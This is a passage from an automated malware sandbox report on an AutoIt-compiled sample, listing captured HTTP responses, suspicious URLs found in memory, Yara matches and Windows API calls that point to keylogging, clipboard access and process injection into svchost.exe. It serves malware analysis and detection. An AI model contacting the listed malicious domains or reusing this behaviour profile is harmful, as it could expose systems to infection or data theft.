cfL4;desc="?proto=TCP&rtt=1828&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=762&delivery_rate=0&cwnd=188&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.bh0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:25:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Wed, 20 Nov 2024 08:25:05 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lEryPHZFxfvqARwhFeSZQfE%2Bc5NVrs7g2mM%2FkI7FTYHvfnY0KYQI31TV4aszXfbQ4WPOWoJWlu0pn56tLwUyOsw6z9kV%2Bj60sC5jhyBpsqHoJaIblw0smN2Il9D7ESn5u01t3Ot6Hak%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e570c1ebf881a03-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1791&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=786&delivery_rate=0&cwnd=140&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.bh0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:25:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Wed, 20 Nov 2024 08:25:07 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9r5o9D6kHiNolSFOI8NMqmiLcZAVT8i1n5j3VEBjxvcB9aCGr6gLJLwKizHcMYvwW2vEv68nKJERP1VCYJdvWudnKmWR0FSbsqmQhDnQO3rxzb07wmZ%2F422und0avyehxa%2Ff1fa0Q38%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e570c2e9c9a42d1-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1688&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1799&delivery_rate=0&cwnd=190&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 37 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7a\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.h0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:25:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Wed, 20 Nov 2024 08:25:10 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=luQuSe9vfCf9yA13%2ByaiBmn4CT9%2BFx5a6QiVowTbU6dtGWae%2BHnff8NXMJH9UR8eK3YlvjKD4lf6xEe4BqCbEuBoT%2FpIdHQtLGUFz7mAnihq99gnN0msim%2BEChEMokloYcP9vMXh1q4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e570c3eae16440d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1561&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=498&delivery_rate=0&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 39 33 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 93<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0</center></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 20 Nov 2024 08:25:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 20 Nov 2024 08:25:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 20 Nov 2024 08:25:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>0

Source: zJGHFZpQDL.exe, 00000009.00000002.3131138704.00000000062F8000.00000004.80000000.00040000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125614806.0000000003B38000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer
Source: zJGHFZpQDL.exe, 00000009.00000002.3132931690.00000000080DE000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.dating-apps-az-dn5.xyz
Source: zJGHFZpQDL.exe, 00000009.00000002.3132931690.00000000080DE000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.dating-apps-az-dn5.xyz/pn0u/
Source: zJGHFZpQDL.exe, 00000009.00000002.3131138704.000000000661C000.00000004.80000000.00040000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125614806.0000000003E5C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.earbudsstore.shop/0gis?gp=1&js=1&uuid=1732091041.9737598049&other_args=eyJ1cmkiOiAiLzBnaX
Source: winrs.exe, 0000000A.00000002.3125614806.0000000003E5C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www70.earbudsstore.shop/
Source: winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: zJGHFZpQDL.exe, 00000009.00000002.3131138704.0000000006F88000.00000004.80000000.00040000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125614806.00000000047C8000.00000004.10000000.00040000.00000000.sdmp, winrs.exe, 0000000A.00000002.3127930198.0000000005E00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://joker.com/?pk_campaign=Parking&pk_kwd=text
Source: winrs.exe, 0000000A.00000002.3122304267.000000000086B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: winrs.exe, 0000000A.00000002.3122304267.000000000086B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: winrs.exe, 0000000A.00000002.3122304267.000000000086B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: winrs.exe, 0000000A.00000002.3122304267.0000000000846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: winrs.exe, 0000000A.00000002.3122304267.000000000086B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: winrs.exe, 0000000A.00000002.3122304267.0000000000846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: winrs.exe, 0000000A.00000003.1577119462.00000000078DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: zJGHFZpQDL.exe, 00000009.00000002.3131138704.0000000005FD4000.00000004.80000000.00040000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125614806.0000000003814000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.1691083286.0000000037E24000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://zkdamdjj.shop/vluw/?prh4=Qny9vPKZpQxlYqiHBli6Dgd1W9OHStFoVbvPUumHvVgYiZzoUIcT00lHd/ClJ1QqOMs

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_00946B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00946B0C

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_00946D07 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00946D07

Source: C:\Users\user\Desktop\A2028041200SD.exe

0_2_00946B0C

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_00932B37 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00932B37

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0095F7FF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0095F7FF

E-Banking Fraud

Binary is likely a compiled AutoIt script file

Source: Yara match	File source: 8.2.svchost.exe.24b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.24b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3124723950.0000000002B90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1391788061.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3124795821.0000000002BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1391861547.0000000005400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1390489944.00000000024B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3121706684.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3132931690.0000000008020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3124924415.0000000004A00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: This is a third-party compiled AutoIt script.	0_2_008F3D19
Source: A2028041200SD.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: A2028041200SD.exe, 00000000.00000002.1287713878.000000000099E000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d8cd57ce-3
Source: A2028041200SD.exe, 00000000.00000002.1287713878.000000000099E000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_46f83975-4
Source: A2028041200SD.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1e6c5502-5
Source: A2028041200SD.exe	String found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_fd9deeb1-0

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024DC403 NtClose,	8_2_024DC403
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72B60 NtClose,LdrInitializeThunk,	8_2_02F72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72DF0 NtQuerySystemInformation,LdrInitializeThunk,	8_2_02F72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F735C0 NtCreateMutant,LdrInitializeThunk,	8_2_02F735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F74340 NtSetContextThread,	8_2_02F74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F74650 NtSuspendThread,	8_2_02F74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72AF0 NtWriteFile,	8_2_02F72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72AD0 NtReadFile,	8_2_02F72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72AB0 NtWaitForSingleObject,	8_2_02F72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72BF0 NtAllocateVirtualMemory,	8_2_02F72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72BE0 NtQueryValueKey,	8_2_02F72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72BA0 NtEnumerateValueKey,	8_2_02F72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72B80 NtQueryInformationFile,	8_2_02F72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72EE0 NtQueueApcThread,	8_2_02F72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72EA0 NtAdjustPrivilegesToken,	8_2_02F72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72E80 NtReadVirtualMemory,	8_2_02F72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72E30 NtWriteVirtualMemory,	8_2_02F72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72FE0 NtCreateFile,	8_2_02F72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72FB0 NtResumeThread,	8_2_02F72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72FA0 NtQuerySection,	8_2_02F72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72F90 NtProtectVirtualMemory,	8_2_02F72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72F60 NtCreateProcessEx,	8_2_02F72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72F30 NtCreateSection,	8_2_02F72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72CF0 NtOpenProcess,	8_2_02F72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72CC0 NtQueryVirtualMemory,	8_2_02F72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72CA0 NtQueryInformationToken,	8_2_02F72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72C70 NtFreeVirtualMemory,	8_2_02F72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72C60 NtCreateKey,	8_2_02F72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72C00 NtQueryInformationProcess,	8_2_02F72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72DD0 NtDelayExecution,	8_2_02F72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72DB0 NtEnumerateKey,	8_2_02F72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72D30 NtUnmapViewOfSection,	8_2_02F72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72D10 NtMapViewOfSection,	8_2_02F72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72D00 NtSetInformationFile,	8_2_02F72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F73090 NtSetValueKey,	8_2_02F73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F73010 NtOpenDirectoryObject,	8_2_02F73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F739B0 NtGetContextThread,	8_2_02F739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F73D70 NtOpenThread,	8_2_02F73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F73D10 NtOpenProcessToken,	8_2_02F73D10

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_00936685: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00936685

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0092AF64 GetCurrentProcess,OpenProcessToken,CreateEnvironmentBlock,CloseHandle,CreateProcessWithLogonW,DestroyEnvironmentBlock,

0_2_0092AF64

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_009379D3 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_009379D3

Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0091B043	0_2_0091B043
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00903200	0_2_00903200
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00903B70	0_2_00903B70
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0092410F	0_2_0092410F
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_009102A4	0_2_009102A4
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0092038E	0_2_0092038E
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_008FE3B0	0_2_008FE3B0
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_009106D9	0_2_009106D9
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0092467F	0_2_0092467F
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0095AACE	0_2_0095AACE
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00924BEF	0_2_00924BEF
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0091CCC1	0_2_0091CCC1
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_008F6F07	0_2_008F6F07
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_008FAF50	0_2_008FAF50
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0091D1B9	0_2_0091D1B9
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_009531BC	0_2_009531BC
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0090B11F	0_2_0090B11F
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0091123A	0_2_0091123A
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0092724D	0_2_0092724D
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_009313CA	0_2_009313CA
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_008F93F0	0_2_008F93F0
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0090F563	0_2_0090F563
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_008F96C0	0_2_008F96C0
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0093B6CC	0_2_0093B6CC
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_008F77B0	0_2_008F77B0
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0095F7FF	0_2_0095F7FF
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_009279C9	0_2_009279C9
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0090FA57	0_2_0090FA57
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_008F9B60	0_2_008F9B60
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00919ED0	0_2_00919ED0
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0090FE6F	0_2_0090FE6F
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_008F7FA3	0_2_008F7FA3
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_01277C88	0_2_01277C88
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024C83B3	8_2_024C83B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024B1250	8_2_024B1250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024DEA03	8_2_024DEA03
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024B42CC	8_2_024B42CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024B23F9	8_2_024B23F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024BFE53	8_2_024BFE53
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024BDE33	8_2_024BDE33
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024BDF79	8_2_024BDF79
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024BDF83	8_2_024BDF83
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024B2FB0	8_2_024B2FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024B2400	8_2_024B2400
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024BFC2A	8_2_024BFC2A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024BFC33	8_2_024BFC33
